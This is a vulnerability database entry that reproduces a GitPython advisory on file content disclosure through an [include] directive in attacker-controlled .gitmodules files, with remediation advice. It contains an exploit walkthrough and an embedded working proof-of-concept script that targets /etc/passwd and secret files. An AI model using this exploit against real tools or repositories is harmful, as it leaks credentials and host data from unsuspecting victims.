Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
- Attacker crafts a repository whose
.gitmodulescontains a legitimate-looking[submodule ...]section plus:[include] path = /etc/passwd(an absolute path bypasses any traversal reasoning entirely; a relative../../../../etc/passwd-style path works too). - Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules:
list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required. SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.- This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on
repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
- Victim clones (or otherwise opens with GitPython) a repository whose
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches
repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout. - No authentication/role requirement inside GitPython itself.
Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.- PoC (
gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.
False-positive check (adversarial re-read)
- Is this the same bug as
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as
GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from+list(repo.submodules)workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "tartufo",
"purl": "pkg:brew/tartufo"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "6.0.0_7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo\u0027s submodule configuration \u2014 `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` \u2014 via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` \u2014 **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`\u0027s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`\u0027d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` \u2014 a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header \u2014 true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) \u2014 it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python\u0027s stdlib formats this exception\u0027s `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` \u2014 it embeds the **verbatim content** of that file\u0027s first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` \u2014 which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source \u2014 was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/\u003cname\u003e/config` \u2014 a different, locally-generated file \u2014 has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n ```\n [include]\n \tpath = /etc/passwd\n ```\n (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo\u0027s submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) \u2014 no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`\u0027s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython \u2014 CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` \u2014 disclosing the targeted file\u0027s first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret \u2014 `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`\u0027s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) \u2014 that advisory\u0027s own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`\u0027s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled \u2014 the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities \u2014 exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` \u2014 one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` \u2014 `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` \u2014 `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`\u0027s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) \u2014 absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) \u2014 raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`\u0027s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` \u2014 `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No \u2014 that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive \u2014 a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No \u2014 that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`\u0027s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` \u2014 an entirely different module and code path. This finding discloses actual file content via `git/config.py`\u0027s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No \u2014 this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No \u2014 confirmed by reading `Submodule.iter_items()`\u0027s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) \u2014 `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`\u0027s include-path resolution should enforce that resolved include paths stay within the repository\u0027s own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = \u003cany local path\u003e`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn\u0027t valid\ngit-config syntax (true of virtually any non-gitconfig file), Python\u0027s\n`configparser.MissingSectionHeaderError` embeds the file\u0027s first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-003-poc.py \u003cworkdir\u003e \u003ctarget-file\u003e\n\nBenign: reads only the given \u003ctarget-file\u003e (defaults to a throwaway secret file\ncreated under \u003cworkdir\u003e if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-003-poc\"\n target_file = sys.argv[2] if len(sys.argv) \u003e 2 else os.path.join(workdir, \"secret.txt\")\n\n attacker_repo = os.path.join(workdir, \"attacker-repo\")\n dest = os.path.join(workdir, \"dest\")\n for p in (attacker_repo, dest):\n os.makedirs(p, exist_ok=True)\n\n if not os.path.exists(target_file):\n os.makedirs(os.path.dirname(target_file), exist_ok=True)\n with open(target_file, \"w\") as f:\n f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n\n with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n f.write(\n \u0027[submodule \"totally-normal-dep\"]\\n\u0027\n \"\\tpath = vendor/dep\\n\"\n \"\\turl = https://example.com/dep.git\\n\"\n \"[include]\\n\"\n \"\\tpath = %s\\n\" % target_file\n )\n\n subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n import configparser\n\n repo = git.Repo.clone_from(attacker_repo, dest)\n\n try:\n subs = list(repo.submodules)\n print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n sys.exit(1)\n except configparser.MissingSectionHeaderError as e:\n msg = str(e)\n print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n print(msg)\n with open(target_file) as f:\n first_line = f.readline().rstrip(\"\\n\")\n if first_line in msg:\n print(\"Confirmed: target file\u0027s first line is present verbatim in the exception message.\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-tartufo-CVE-2026-78675",
"modified": "2026-09-17T19:42:35Z",
"published": "2026-09-04T10:12:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78675"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2211"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)",
"upstream": [
"PYSEC-2026-3785",
"CVE-2026-78675",
"GHSA-7833-fr7j-v32q"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.